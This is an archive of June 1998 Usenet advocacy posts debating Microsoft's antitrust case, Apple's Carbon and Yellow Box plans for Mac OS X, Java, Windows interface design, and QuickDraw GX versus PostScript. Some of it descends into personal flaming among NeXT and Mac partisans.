Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 10 Jun 1998 00:05:07 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1006980005070001@dialin9155.slip.uci.edu>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <357DEE3F.5672@CONVEX.COM>
In article <357DEE3F.5672@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> Obviously not, or millions of domestic businesses would be subject to
> similar litigation on the basis of business practices performed daily in
> public view. The crux of the case is that Microsoft's practices have
> somehow transgressed an invisible line left up to the determination of
> the sitting administration.
>
> The extent to which Microsoft transgresses this line, as elucidated in
> the DoJ briefing, places Microsoft in a very impressive and
> broadly-realized position in the computer industry. Thereupon rests the
> great contradiction originally described by KAZ Vorpal.
Anti-trust is a special thing. It is policy that is based almost solely on
theory (that monopolies *do* harm individuals, regardless of their
specific actions) and magnitude (that nearly everything can be construed
as a monopoly if you look at it narrowly enough, so you need to only look
broadly).
A monopoly is nearly defined by industry and public perception - it is
highly subjective by nature. Marketshare helps in that definition, but
then, the bounds of the market is also subjective. In the end it really
doesn't come down to a right/wrong issue, but rather a good/bad one.
Regardless of what MS does and what their intentions are, if they *are* a
monopoly then that is bad, and something needs to happen to make them less
of a monopoly. Standard Oil was a problem becuase they were big -
extremely big, compared to their competition. Same held for IBM. And AT&T.
Throw in politics, predictions of repercussions, and so on, and a monopoly
trial should be about as even-handed as a beauty contest. That's simply
how it works, and I don't see any way around it.
MS *has* crossed that invisible line. So has Intel. The people and
industries have voted. MS is bad. Intel is bad. It's now up to MS and
Intel to find their way out of this.
Personally, I don't see Intel as a problem. They have good competition in
many arenas. They present a less hazardous bottleneck to the industry and
don't seem to be interested in pursuing all available markets.
MS isn't that way at all. They have bottleneck after bottleneck. You might
knock down the browser thing, and Office will just step into it's shoes.
Take that down, and BackOffice steps up. And on, and on, and on. And MS is
going after markets that are so far from software it's simply astounding.
Travel services. Banking. Auto sales. MS pees in everyones pool.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 23:25:22 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0906982325230001@dialin9155.slip.uci.edu>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <357DA1EF.3BF4863A@nstar.net> <rmcassid-0906981430270001@dante.eng.uci.edu> <357DB214.61F68493@nstar.net> <rmcassid-0906981542070001@dante.eng.uci.edu> <357DE1B6.5986@CONVEX.COM>
In article <357DE1B6.5986@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> 1) Integrating new APIs with the existing Objective C codebase seems a
> trifle messy
Perhaps, though any more messy than with Carbon? Not really a strong argument.
> 2) If, indeed, the new APIs are temporary (I mentioned the example of
> QDe), there is little reason to fit them into the stable Concert
> libraries
If they are temporary, then this is a good argument.
> 3) The new APIs generally appear to be Macintosh-specific; I might be
> wrong, but the focus appears to have shifted away from
> platform-neutrality toward something more Mac-centric
Their appeal is primarily toward the Mac developer. That doesn't preclude
them from having an appeal to the YB developer as well. And if we look
ahead a mere 15 months, the two will in fact combine. Both YB and Carbon
developers will need to be using the same UI, generating the same style of
dialogs, handling things in the same way. It's this realization that took
me to the initial suggestion that there was something else out there we
haven't seen yet. Right now there is no mechanism that allows both flavors
of apps to create a common in appearance and functionality, open file
dialog box. That's an unresolved issue to me.
APIs like Navigation Services and QTML need to be available to both groups
- but they aren't. That is bad as MacOS X apps will, for all of Apple's
efforts thus far, still present two user interfaces to the user - one
generated by Yellow apps, and one generated by Carbon apps.
> 4) Apple doesn't have time to build the new APIs into the existing
> Concert framework
And I thought YB and Obj-C allowed for this insanely rapid development...
No, Apple has had 15 months, and they have another 15 to go. That's even
enough time for MS to turn out an OS.
> 5) If Apple is introducing new APIs for the sole purpose of appeasing
> mainstream vendors, and Concert is the eventual goal, integrating
> Concert and Carbon in anything more than a nominal way would be
> counterproductive and jeopardize Concert altogether
That's the best argument here, I think. But given the realities of Mac OS
X as I've illustrated up in #3, that transition is going to have to happen
pretty fast.
> 6) Concert and Carbon have almost nothing in common
They have MacOS X in common. Users will expect a uniform behavior. They
won't get it in Apple's plan as I see it now.
> Carbon strikes me as a minor update to the Toolbox, intended for
> throwaway when it has served its purpose. The other ancillary APIs, with
> the exceptions of those slated for QTML, similarly appear to me to be
> temporary.
So what shapes the future look and function of MacOS X? The APIs in Carbon
that offer all of the new functionality or the ones in YB that will not. I
can't see telling developers to write to new Carbon APIs only to tell them
later that they now have _even more_ to migrate away from. Better to
implement things as services that they can access from Carbon without
incurring additional code that will need to be ported later.
Apple of couse has an out in all of this if they can turn around
marketshare or whatever to create sufficent justification for the big
porting effort that they couldn't get under Rhapsody. So is Apple merely
buying time until they can point to 10% marketshare which would be
sufficent to make Adobe give up on Carbon?
> > Lack of grace and polish very nearly defines why Windows is not enjoyable.
> > From a design and UI point of view, it is an abomination. Sure there is
> > some good in there, but it is in such small quantity compared to what is
> > bad.
>
> I really don't think that's a fair characterization.
Sure it is.
> Without stepping
> too much into the realm of subjectivity, I think it should be noted that
> Win32 provides a stable and familiar UI that stands head-and-shoulders
> above nearly anything else (excepting MacOS and NeXTstep from the
> argument). There really is very little difference between Win32 and
> MacOS at this point, from all objective standpoints.
It *reeks* with inconsistencies, problems, and flat-out idiotic decisions.
Without question the 'all dialogs will present users with 'yes' or 'no'
options' is the biggest among the idiotic decisions. What the hell were
they thinking! I don't want to read every goddamn, engineer-authored
question chock full of grammatical errors only to determine if the
question is phrased in the positive or the negative:
'Are you sure you want to save changes before quitting?'
or
'Quitting now will discard changes. Continue?'
Kind of crap. 'Save' and 'Cancel' pretty much get the point across. And if
they don't, then you can read the engineer's abuse of the english
language.
My favorite among the inconsistencies are the dialog boxes that ultimately
boil down to 'Save' or 'Cancel', but then have a close box in the upper
right corner. Excuse me? What does the close box do? Does it Save or does
it Cancel? If you want me to answer a question with only two choices, why
have three options?
And there is just no end to this stuff. I'm not even going to go into
registry, continuing 8.3 issues, and so on.
> If Java provides Windows-like polish, it has accomplished no small
> thing. You'd be surprised how far it is from ground zero (if you play
> with any GUIs that *truly* suck, you'll appreciate Windows considerably
> more, I assure you).
GUIs that *truly* suck aren't consumer GUIs these days. An Abrams tank is
allowed to have a far more complex and inelegant interface than a Toyota
is.
> We should be certain we are talking about the same things, as well: Java
> doesn't really provide a GUI; it provides a widget toolkit (in the form
> of AWT). If Java can provide a widget toolkit on the level of Win32's, I
> don't see how it would really be that different from MacOS's or
> NeXTstep's, anyway.
Widget toolkits aren't the whole issue. 'Feel' goes along with 'look',
policy with implementation, and design with user reaction. I don't think
anyone has understood all of that as well as Apple. Certainly not MS.
> From a development standpoint, Java is object-oriented. That, in itself,
> is enough to recommend it above MacOS in terms of 'grace'.
That's not grace. That's good engineering. I don't care how it carries
itself when _I_ interact with it, I care how it holds together when I
pound on it, when I extend it, when something threatens to break it. Yes,
Java does that much better than MacOS, but I wouldn't use grace to
describe good engineering.
> > And to use Windows as the standard to which Java aspires is not very
> > reassuring. I do recognize the realities of the marketplace, but I can't
> > say that I'm in any way dealing well with the devolution of the industry.
>
> Oh well. It doesn't seem so bad when you get used to it. It's easier to
> overlook the faults than you might think. 'Active Desktop' is an
> exception, but as soon as I've finished grinding my teeth to the gums,
> I'll feel better about that, too.
It's an issue of personality. In the same way that you might be
exceptionally sensitive to the quality of sound from your stereo, or the
fit and performance of your car, or maybe the style and appearance of your
wardrobe, I am about design and feel, especially on the computer and in
publications. People like me think of fonts in terms of the emotions
elicited by the viewer. I just see things differently. A jerky, ghosting
cursor is like fingernails across a blackboard. Inconsistent font
presentation (very common on Windows) is infuriating. Hierarchical menus
that don't respond to natural movement makes my blood-pressure rise. It's
just in my personality.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 23:40:32 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0906982340320001@dialin9155.slip.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <markeaton-0906981947510001@user-38ld6dj.dialup.mindspring.com>
In article
<markeaton-0906981947510001@user-38ld6dj.dialup.mindspring.com>,
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> Its really up to developers. If developers run out and adopt AppKit in
> massive droves, then maybe Carbon will be a "Jurrassic Park". If
> developers tell us to keep developing Carbon, then we will.
How does Apple then intend on addressing the UI and service
inconsistencies produced by the two APIs? Carbon apps present Navigation
Services, YB apps do something else. That kind of thing.
Even the slides from WWDC address the need to focus developers to work
together. For the authentication APIs, Apple realizes that a critical mass
of service plug-ins is needed - but that's not likely to happen if you
have to choose between a Carbon Authentication Manager plug-in and a
traditional unix service or NetInfo service.
It suggests to me that, in effect, the grand direction put forth by Apple
at WWDC was: 'You guys decide. We'll do this by committee.'
Here's my vote. Don't force developers to take one side or the other. Pick
one API that will be *the* one for the future, help the people in the
other camp transition, and move on. Developers like everyone else are
lazy, they won't budge unless you give them reason to.
BTW, I want to see new support come in under YB. EOF and WO are the two
most compelling things you have for many of us, and Carbon isn't welcome
there.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: Wed, 10 Jun 1998 00:15:51 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1006980015520001@dialin9155.slip.uci.edu>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <rmcassid-0906981511310001@dante.eng.uci.edu> <slrn6ns2jt.qvl.sal@panix3.panix.com>
In article <slrn6ns2jt.qvl.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> What APIs? Anything being ported over from MacOS will be in Carbon. Over
> time OO APIs will be added. An Apple person posted on the Rhapsody dev
> mailing list and stated that pretty clearly.
Would you be kind enough to forward that to me? It sounds like it will
answer my questions. I nuked Rhapsody-dev and was planning on doing the
same for talk (need to migrate from reading to working...) so I missed it.
Should probably resubscribe to Rhapsody-dev. Where's that summarize tool
from AIAT when you need it?
> >Because that is not what an OS is any more (at least in the markets that I
> >think of). An OS is now also a collection of services.
>
> And why can't those services be done in Java? There are Java web servers.
> I've seen a Java based SQL database (slow and buggy, but it did parse SQL-92
> well enough to convince me)
Oh, they can. No question. But they haven't yet, that's all. Immature by
modern standards is probably the best way of putting it.
> I would like to see a $50 network computer that is as to use as a TV remote.
> If JavaOS makes it doable, then more power to them.
I would like to see a $750 network computer that is as easy to use as a TV
remote. If you want something done, nothing motivates like money! :-)
> >If you are looking for an OS for a cuisinart, then yeah, I
> >suppose Java has all that it needs :-)
>
> Why not? Why shouldn't my cuisinart have it's own IP addr? :)
A must. How else can you tell it to start working on that daquiry so it'll
be ready when you get home from work!
-Bob Cassidy
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Wed, 10 Jun 1998 16:42:34 +1200
Organization: Geek Central
Message-ID: <ldo-1006981642350001@a53.hn3.wave.co.nz>
In <slrn6ndqdj.mjt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) wrote:
>On 4 Jun 1998 09:27:01 -0700, Lawson English <english@primenet.com> wrote:
>:mmalcolm crawford <malcolm@plsys.co.uk> said:
>:
>:>In <ldo-0406982006200001@a24.hn1.wave.co.nz> Lawrence D*Oliveiro
>:>wrote:
>:>>
>:>> GX is the most elegant and compact solution to this problem that
>:anyone
>:>> has ever come up with. (Go on, prove me wrong...)
>:>>
>:>At a guess: ATSUI.
>:
>:For handling of multiple languages (leaving aside the unified Han
>:issue), ATSUI will likely do everything that GX does, formatting-wise.
>:However, there's lots of extra high-end stuff that I'm betting hasn't
>:made it into the first version of ATSUI and may never make it it
>:unless programmers ask for it.
>
>Reread "elegant and compact solution".
Bzzt. Thank you for playing, but I think Lawson wins this one. ATSUI is
going to be Unicode-centric, right? (Hence the name.) Unfortunately, the
world isn't going to move entirely to Unicode in the next five years, or
ten. There are loads of national character sets that we will have to deal
with in the meantime. The GX font API has in-built support for all this
sort of thing--Unicode is just one character encoding among many, not the
only one, and you can easily mix multiple character encodings in a single
text layout object, whether with the same or a different font.
Lawrence
still waiting for somebody to prove me wrong
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology (was Re: Java Java Java)
Date: Wed, 10 Jun 1998 00:19:26 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1006980019270001@dialin9155.slip.uci.edu>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu> <slrn6ns2uu.qvl.sal@panix3.panix.com>
In article <slrn6ns2uu.qvl.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> This has been going on in X11 land for the decade. :) Pick a toolkit, get it
> 75% done, then dump it and move on to the next widget set. That's why after
> all this time X still lacks anything close to IB+AppKit for GUIs.
>
> I hope this isn't going to happen to Java.
You know. The only GUIs that have really fully matured in my opinion were
developed under our good Mr. Jobs reign (you can extract my opinion of
Windows from this). So I think if you want Java to go the distance, either
give it, or Sun to Jobs. There is no precedent for any other solution...
-Bob 'I'm not opinionated!' Cassidy
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Wed, 10 Jun 1998 16:48:49 +1200
Organization: Geek Central
Message-ID: <ldo-1006981648510001@a53.hn3.wave.co.nz>
In message <1da7iip.s89ctl695h6oN@carina37.wco.com>, mpaque@wco.com (Mike
Paquette) wrote:
>The Carbon API, being a subset of the MacOS 8 APIs, does pretty much
>what MacOS 8 does, to make porting easier. Additional APIs designed by
>the MacOS X printing team will expose additional functionality.
But how will these "additional" APIs be able to substantially improve the
printing situation when they are tacked onto the existing flaky house of
cards that is QuickDraw printing in MacOS 8?
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Wed, 10 Jun 1998 16:53:48 +1200
Organization: Geek Central
Message-ID: <ldo-1006981653480001@a53.hn3.wave.co.nz>
In article <6l88l3$j4c$1@goanna.cs.rmit.edu.au>, Luke Walshe
<lw@yallara.cs.rmit.edu.au> wrote:
>ldo@geek-central.gen.new_zealand (L D¹Oliveiro) writes:
>
>>In article <rex-0106981554560001@192.168.0.3>, rex@smallandmighty.com
>>(Eric King) wrote:
>
>>>I wouldn't be surprised if Apple's new solution also shared the
>>>same coordinate space limitations since they're aiming to be compatible
>>>with PDF and Postscript.
>
>>Speaking of coordinate space limitations, ever wondered why Adobe's
>>Acrobat Reader won't display pages larger than 45 inches on a side,
>>whereas GX never had any such limitations ?
>
>Why only 45 inchs ?
>
>They both should be about 455 inchs. Although Acro might use an 8th
>of that so it can do 8x zoom. But I doubt it.
And yet the fact remains that the limitation is there with PDF. For
example, I have myself successfully used 16x zoom in more than one
GX-based application.
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Wed, 10 Jun 1998 17:07:05 +1200
Organization: Geek Central
Message-ID: <ldo-1006981707060001@a53.hn3.wave.co.nz>
References: <35796BDB.2AEDD69@trilithon.com> <B19EBDA9-1BDD5@206.165.43.115> <6levgb$adf$10@ironhorse.plsys.co.uk>
In article <6levgb$adf$10@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>In <B19EBDA9-1BDD5@206.165.43.115> "Lawson English" wrote:
>> >
>> Does the PPD solution
>> provide for extensions to the printer-interface, including the display of
>> new information and new kinds of controls to manipulate the unique
>> functionality?
>>
>Read Marcel's reply:
>"GO LOOK AT IT BEFORE MAKING CLAIMS or issuing stupid challenges".
Don't be silly. It was of course a rhetorical question, as anyone who
knows anything about PPDs would have picked up immediately.
The fact is PPDs do not allow for any such dynamism--they are a very
limited and partial solution to the problem of the lack of device
independence of PostScript, designed so that lazy programmers on all
platforms could support them with a minimum of work.
>Lawson, you're becoming more tiresome as each day passes -- don't you have
>anything *constructive to say, ever?
I don't agree with everything Lawson says: he accuses NeXT-heads of being
arrogant about their platform, but I think it's just ignorance common to
all the people who have spent so much time with PostScript that they have
come to believe, albeit unconsciously, that if PostScript can't do
something, then it isn't worth doing.
Lawrence
"When a true genius appears in the world, you may know him by this sign,
that the dunces are all in confederacy against him."
-- Jonathan Swift
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 10 Jun 1998 08:14:44 GMT
Organization: P & L Systems
Message-ID: <6llf9k$m9t$3@ironhorse.plsys.co.uk>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79>
<slrn6nrmih.526.jason@jhste1.dyn.ml.org>
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Cc: jason@jhste1.dyn.ml.org
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <slrn6nrmih.526.jason@jhste1.dyn.ml.org> Jason S. wrote:
> Why do you waste your time on these people, Lawson?
>
That's what we keep asking. We don't want him to. A year ago we started to
ask if he would, please, stop posting in comp.sys.next.advocacy because the
debate was no longer interesting, and his ignorance or wanton mendacity about
DPS/OPENSTEP was becoming more than tiresome.
> They will never actually read your posts and respond intelligently;
>
Drivel; there have been numerous well-considered highly informative retorts
to Lawson's posts. I defy you to prove otherwise. Your accusation is false
and obnoxious -- you owe us an apology.
> they only will continue to post their condescending tripe and flames
> aimed at you.
>
They will from time to time, given that this "debate" has been going on for
over a year and a half now, and it got tiresome over a year ago. If Lawson
wants to post about GX in someone else's house, that's fine, just leave csna
off the groups list.
> So flame back - that's the only solution. I am frankly quite sick of
> mmmmmmalcolm, Swiger and the rest of the NeXT-is-best gang. They are
> so convinced of their inherent superiority that they really have nothing
> to contribute. Caught in a Reality Distortion Field(tm), they refuse
> to even consider the possibility that the NeXT way is not the best way
> on any issue.
>
This is another offensive lie, and I ask you to withdraw it.
We have all at some time or another admitted faults or failings in NeXT's
offerings.
Furthermore mail I, and I am sure others, have received belie your assertion
that we have "nothing to contribute" -- I have received thanks on many
occasions for help, assistance and clarification I have given in this and
other forums. What is frustrating is that Lawson's presence here dilutes
that.
> Kheit and Urban's responses to my recent post convince me of this. We
> find them to be assholes because they're "almost always right"? Please.
> These people....
>
You, of course, are never wrong, and assured of your own superiority...?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 08:17:57 GMT
Organization: P & L Systems
Message-ID: <6llffl$m9t$4@ironhorse.plsys.co.uk>
References: <slrn6nqsvm.ntc.ben@ben.tapehouse.net> <B1A2FE3D-A87E5@206.165.43.79>
<6lkh74$m9t$2@ironhorse.plsys.co.uk> <6lklfr$bp5$1@hole.sdsu.edu>
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Cc: etomlins@rohan.sdsu.edu
In <6lklfr$bp5$1@hole.sdsu.edu> tomlinson wrote:
> mmalcolm crawford (malcolm@plsys.co.uk) wrote:
>
> Not an inept analogy. Meccano, on the one hand: functional metal,
> sturdy, extensible, _and_ which may even be used in conjunction with
> "real" machinery
>
You know, when I first wrote the post, I used Meccano vs Lego, but for some
reason I didn't think Meccano had made it across to the States, so switched
to the plastic stuff.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 08:20:30 GMT
Organization: P & L Systems
Message-ID: <6llfke$m9t$5@ironhorse.plsys.co.uk>
References: <6lkh74$m9t$2@ironhorse.plsys.co.uk> <B1A31F69-125386@206.165.43.79>
<slrn6nrlp3.515.jason@jhste1.dyn.ml.org>
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Cc: jason@jhste1.dyn.ml.org
In <slrn6nrlp3.515.jason@jhste1.dyn.ml.org> Jason S. wrote:
> Lawson, mmmmmalcolm lives in England. He's one of _those_ people.
> Remember Golding's "Lord of the Flies"? He's English - they're
> the best.
>
Actually I'm not English. Your point?
> He's always right, even when he posts nonsense. So deal with it.
>
Not so at all, indeed I have admitted on several occasions to have been in
error.
Do you have anything constructive to contribute to this group, or are you
just going to engage in ad hominem attacks?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Followup-To: comp.sys.mac.advocacy
Date: 10 Jun 1998 08:23:56 GMT
Organization: P & L Systems
Message-ID: <6llfqs$m9t$6@ironhorse.plsys.co.uk>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79>
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Cc: english@primenet.com
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY
In <B1A32350-133E43@206.165.43.79> "Lawson English" wrote:
> One interesting point: the little boy was *already* living in the house.
>
No, the little boy went into *someone else*'s house, was treated politely at
first, but then overstayed his welcome. After that, IMHO, he brought
troubles on himself.
mmalc.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 04:30:23 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6ll24v$pn8$1@supernews.com>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79>
<slrn6nrmih.526.jason@jhste1.dyn.ml.org>
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Cc: jason@jhste1.dyn.ml.org
Jason S. may or may not have said:
[snip]
-> Why do you waste your time on these people, Lawson? They will never
-> actually read your posts and respond intelligently; they only will
-> continue to post their condescending tripe and flames aimed at you.
Jason,
You haven't been on this newsgroup for very long. Over a year ago, Lawson
went on a tear which apparently hasn't ended yet, where his advocacy of GX
extended to his assertion that all kinds of things are *impossible* in
OpenStep + DPS.
He's been in my killfile for many months now, and with good reason. He is
pig-ignorant when it comes to graphics systems, he doesn't care to learn, and
he'll stick to his position even when he's been *shown* to be wrong.
Time and time again, he was shown an existence proof, i.e: programs that did
what he said couldn't be done, and he kept on scouring the postscript manuals
looking for something he could latch onto to vindicate his position that GX,
and only GX could save Apple's gaming/publishing/foreign language
support/etc.
If you feel that NeXT advocates are condescending to Lawson, and that we fail
to take him seriously, then go back in the archives and see why that came to
be.
As for Lawson wasting his time, you're right. He's acomplished nothing in
the year or so that I've seen him beating this Quickdraw GX drum, and I
wouldn't miss him a bit if he just sodded off to another corner of the
USENET.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 04:38:28 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6ll2k4$pn8$2@supernews.com>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79>
<slrn6nrmih.526.jason@jhste1.dyn.ml.org> <357df93e.0@206.25.228.5>
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Cc: jkheit@xtdl.com
John Kheit may or may not have said:
[snip]
-> Again, I'd ask you *not* to lump me with other NeXT users/developers.
-> I do not have their technical background, nor the maturity they
-> possess.
Maybe not, but I predict you'll become a hell of a litigator.
->Lumping me in with the rest of the NeXT community does
-> a disservice to that community, which is composited by a profoundly
-> more amicable group of folks.
Yeah. Andy Stone, Don Yacktman, Bill Bumgarner, Mike Monegan, Randy Nelson,
Mike Barthelemy, Lennart Lovstrand, Sam Streeper, Eric Scott, and a bunch of
others helped me a *lot* over the years. I can't count the eye-opening
experiences I've had talking to other NeXT hackers. So many *simple* things
that made me a better programmer once I understood them.
Christ, when I came into NeXTStep, I actually liked C++'s method call syntax!
Wow!
-> I am, thankfully, quite the exception in the NeXT camp; which is
-> essentially a very nice, knowledgeable, and helpful group.
Oh, come on: You're not the only New Yorker in this crowd!
-> One from which I've greatly benefited.
->
-> However, unlike them, I take great relish in pointing out just how
-> sniveling a pisshole you and your BOZO brethren are, and poking
-> the proverbial stick in your sore wounds.
Geez, John! Get off the fence, here. How do you really feel about the Mac
OS die-hards?
-jcr
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 10 Jun 1998 02:52:01 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1006980252010001@jchristie.halifaxcable.dal.ca>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <357DA1EF.3BF4863A@nstar.net> <rmcassid-0906981430270001@dante.eng.uci.edu> <357DB214.61F68493@nstar.net> <rmcassid-0906981542070001@dante.eng.uci.edu> <357DE1B6.5986@CONVEX.COM>
In article <357DE1B6.5986@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> 3) The new APIs generally appear to be Macintosh-specific; I might be
> wrong, but the focus appears to have shifted away from
> platform-neutrality toward something more Mac-centric
A great number of the APIs are accessable through QTML. In fact, the
degree of MacOS APIs that are available in QTML *cross platform* may have
been part of the inspiration for Carbon. They had to implement them to
get QTML inbto Rhapsody, whats a few more? :)
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 10 Jun 1998 02:54:14 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1006980254140001@jchristie.halifaxcable.dal.ca>
